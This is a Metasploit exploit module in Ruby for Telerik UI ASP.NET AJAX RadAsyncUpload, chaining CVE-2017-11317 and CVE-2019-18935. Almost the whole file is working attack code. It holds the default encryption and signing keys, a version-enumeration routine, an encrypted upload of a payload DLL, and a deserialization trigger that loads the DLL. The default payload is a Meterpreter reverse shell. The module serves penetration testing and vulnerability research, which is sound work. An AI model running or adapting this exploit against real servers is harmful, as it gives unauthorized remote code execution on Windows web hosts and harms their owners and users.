# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
SALT =
"\x3a\x54\x5b\x19\x0a\x22\x1d\x44\x3c\x58\x2c\x33\x01".b
# default keys per CVE-2017-11317
DEFAULT_RAU_SIGNING_KEY =
'PrivateKeyForHashOfUploadConfiguration'.freeze
DEFAULT_RAU_ENCRYPTION_KEY =
'PrivateKeyForEncryptionOfRadAsyncUploadConfiguration'.freeze
CVE_2017_11317_REFERENCES = [
['CVE', '2017-11317'], # Unrestricted File Upload via Weak
Encryption
['URL', 'https://github.com/bao7uo/RAU_crypto'],
['URL',
'https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload'],
['URL',
'https://github.com/straightblast/UnRadAsyncUpload/wiki'],
].freeze
CVE_2019_18935_REFERENCES = [
['CVE', '2019-18935'], # Remote Code Execution via Insecure
Deserialization
['URL', 'https://github.com/noperator/CVE-2019-18935'],
['URL',
'https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization'],
['URL',
'https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html'],
['URL',
'https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui'],
].freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Telerik UI ASP.NET AJAX RadAsyncUpload
Deserialization',
'Description' => %q{
This module exploits the .NET deserialization vulnerability within
the RadAsyncUpload (RAU) component of Telerik
UI ASP.NET AJAX that is identified as CVE-2019-18935. In order to
do so the module must upload a mixed mode .NET
assembly DLL which is then loaded through the deserialization flaw.
Uploading the file requires knowledge of the
cryptographic keys used by RAU. The default values used by this
module are related to CVE-2017-11317, which once
patched randomizes these keys. It is also necessary to know the
version of Telerik UI ASP.NET that is running.
This version number is in the format YYYY.#(.###)? where YYYY is
the year of the release (e.g. '2020.3.915').
},
'Author' => [
'Spencer McIntyre', # Metasploit module
'Paul Taylor', # (@bao7uo) Python PoCs
'Markus Wulftange', # (@mwulftange) discovery of CVE-2019-18935
'Caleb Gross', # (@noperator) research on CVE-2019-18935
'Alvaro Muñoz', # (@pwntester) discovery of CVE-2017-11317
'Oleksandr Mirosh', # (@olekmirosh) discover of CVE-2017-11317
'straightblast', # (@straight_blast) discovery of
CVE-2017-11317
],
'License' => MSF_LICENSE,
'References' => CVE_2017_11317_REFERENCES +
CVE_2019_18935_REFERENCES,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Windows', {}],],
'Payload' => { 'Space' => 2048 },
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2019-12-09', # Telerik article on
CVE-2019-18935
'Notes' => {
'Reliability' => [UNRELIABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
},
'Privileged' => true
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The base path to the web
application', '/' ]),
OptString.new('FILE_NAME', [ false, 'The base file name for the
upload (default will be random)' ]),
OptString.new('DESTINATION', [ true, 'The destination folder for
the upload', 'C:\\Windows\\Temp' ]),
OptString.new('RAU_ENCRYPTION_KEY', [ true, 'The encryption key for
the RAU configuration data', DEFAULT_RAU_ENCRYPTION_KEY ]),
OptString.new('RAU_SIGNING_KEY', [ true, 'The signing key for the
RAU configuration data', DEFAULT_RAU_SIGNING_KEY ]),
OptString.new('VERSION', [ false, 'The Telerik UI ASP.NET AJAX
version' ])
])
end
def dest_file_basename
@dest_file_name = @dest_file_name || datastore['FILE_NAME'] ||
Rex::Text.rand_text_alphanumeric(rand(4..35)) + '.dll'
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path,
'Telerik.Web.UI.WebResource.axd'),
'vars_get' => { 'type' => 'rau' }
})
return CheckCode::Safe unless res&.code == 200
return CheckCode::Safe unless
res.get_json_document&.dig('message') =~ /RadAsyncUpload
handler is registered succesfully/
if datastore['VERSION'].blank?
@version = enumerate_version
else
begin
upload_file('', datastore['VERSION'])
rescue Msf::Exploit::Failed
return CheckCode::Safe
end
@version = datastore['VERSION']
end
if [email protected]? && datastore['RAU_SIGNING_KEY'] ==
DEFAULT_RAU_SIGNING_KEY && datastore['RAU_ENCRYPTION_KEY'] ==
DEFAULT_RAU_ENCRYPTION_KEY
print_status('Server is using default crypto keys and is vulnerable
to CVE-2017-11317')
report_vuln({
host: rhost,
port: rport,
proto: 'tcp',
name: 'Unrestricted File Upload via Weak Encryption',
refs: CVE_2017_11317_REFERENCES.map { |ctx_id, ctx_val|
SiteReference.new(ctx_id, ctx_val) }
})
end
# with custom errors enabled (which is the default), it's not
possible to test for the serialization flaw without triggering
it
CheckCode::Detected
end
def exploit
fail_with(Failure::BadConfig, 'No version was specified and it
could not be enumerated') if @version.nil?
upload_file(generate_payload_dll({ mixed_mode: true }),
@version)
execute_payload
end
def execute_payload
print_status('Executing the payload...')
serialized_object = { 'Path' =>
"#{datastore['DESTINATION'].chomp('\\').gsub('\\',
'/')}/#{dest_file_basename}.tmp" }
serialized_object_type =
Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0']['System.Configuration.Install']['System.Configuration.Install.AssemblyInstaller']
msg = rau_mime_payload(serialized_object,
serialized_object_type.to_s)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path,
'Telerik.Web.UI.WebResource.axd'),
'vars_get' => { 'type' => 'rau' },
'method' => 'POST',
'data' => msg.to_s,
'ctype' => "multipart/form-data; boundary=#{msg.bound}"
}, 5
)
# this request to execute the payload times out on success and
returns 200 when it fails, for example because the
# AllowedCustomMetaDataTypes setting is blocking the necessary code
path
fail_with(Failure::UnexpectedReply, 'Failed to execute the
payload') if res&.code == 200
end
def upload_file(file_contents, version)
target_folder = encrypt('')
temp_target_folder =
encrypt(datastore['DESTINATION'].encode('UTF-16LE'))
if (version =~ /(\d{4})\.\d+.\d+/) && Regexp.last_match(1).to_i
> 2016
# signing is only necessary for versions >= 2017.1.118 (versions
that don't match the regex don't require signing)
target_folder << sign(target_folder)
temp_target_folder << sign(temp_target_folder)
end
serialized_object = {
'TargetFolder' => target_folder,
'TempTargetFolder' => temp_target_folder,
'MaxFileSize' => 0,
'TimeToLive' => {
'Ticks' => 1440000000000,
'Days' => 0,
'Hours' => 40,
'Minutes' => 0,
'Seconds' => 0,
'Milliseconds' => 0,
'TotalDays' => 1.6666666666666665,
'TotalHours' => 40,
'TotalMinutes' => 2400,
'TotalSeconds' => 144000,
'TotalMilliseconds' => 144000000
},
'UseApplicationPoolImpersonation' => false
}
serialized_object_type = "Telerik.Web.UI.AsyncUploadConfiguration,
Telerik.Web.UI, Version=#{version}, Culture=neutral,
PublicKeyToken=121fae78165ba3d4"
msg = rau_mime_payload(serialized_object,
serialized_object_type, file_contents: file_contents)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path,
'Telerik.Web.UI.WebResource.axd'),
'vars_get' => { 'type' => 'rau' },
'method' => 'POST',
'data' => msg.to_s,
'ctype' => "multipart/form-data; boundary=#{msg.bound}"
}
)
fail_with(Failure::UnexpectedReply, 'The upload failed') unless
res&.code == 200
metadata =
JSON.parse(decrypt(res.get_json_document.dig('metaData')).force_encoding('UTF-16LE'))
dest_path =
"#{datastore['DESTINATION'].chomp('\\')}\\#{metadata['TempFileName']}"
print_good("Uploaded #{file_contents.length} bytes to:
#{dest_path}")
register_file_for_cleanup(dest_path)
end
def rau_mime_payload(serialized_object, serialized_object_type,
file_contents: '')
metadata = { 'TotalChunks' => 1, 'ChunkIndex' => 0,
'TotalFileSize' => 1, 'UploadID' => dest_file_basename }
post_data = Rex::MIME::Message.new
post_data.add_part(encrypt(serialized_object.to_json.encode('UTF-16LE'))
+ '&' + encrypt(serialized_object_type.encode('UTF-16LE')),
nil, nil, 'form-data; name="rauPostData"')
post_data.add_part(file_contents, 'application/octet-stream',
'binary', "form-data; name=\"file\";
filename=\"#{dest_file_basename}\"")
post_data.add_part(dest_file_basename, nil, nil, 'form-data;
name="fileName"')
post_data.add_part('application/octet-stream', nil, nil,
'form-data; name="contentType"')
post_data.add_part('1970-01-01T00:00:00.000Z', nil, nil,
'form-data; name="lastModifiedDate"')
post_data.add_part(metadata.to_json, nil, nil, 'form-data;
name="metadata"')
post_data
end
def enumerate_version
print_status('Enumerating the Telerik UI ASP.NET AJAX version, this
will fail if the keys are incorrect')
File.open(File.join(Msf::Config.data_directory, 'wordlists',
'telerik_ui_asp_net_ajax_versions.txt'), 'rb').each_line do
|version|
version.strip!
next if version.start_with?('#')
vprint_status("Checking version: #{version}")
begin
upload_file('', version)
rescue Msf::Exploit::Failed
next
end
print_good("The Telerik UI ASP.NET AJAX version has been
identified as: #{version}")
return version
end
nil
end
#
# Crypto Functions
#
def get_cipher(mode)
# older versions might need to use pbkdf1
blob =
OpenSSL::PKCS5.pbkdf2_hmac_sha1(datastore['RAU_ENCRYPTION_KEY'],
SALT, 1000, 48)
cipher = OpenSSL::Cipher.new('AES-256-CBC').send(mode)
cipher.key = blob.slice(0, 32)
cipher.iv = blob.slice(32, 48)
cipher
end
def decrypt(cipher_text)
cipher = get_cipher(:decrypt)
cipher.update(Rex::Text.decode_base64(cipher_text)) +
cipher.final
end
def encrypt(plain_text)
cipher = get_cipher(:encrypt)
cipher_text = ''
cipher_text << cipher.update(plain_text) unless
plain_text.empty?
cipher_text << cipher.final
Rex::Text.encode_base64(cipher_text)
end
def sign(data)
Rex::Text.encode_base64(OpenSSL::HMAC.digest('SHA256',
datastore['RAU_SIGNING_KEY'], data))
end
end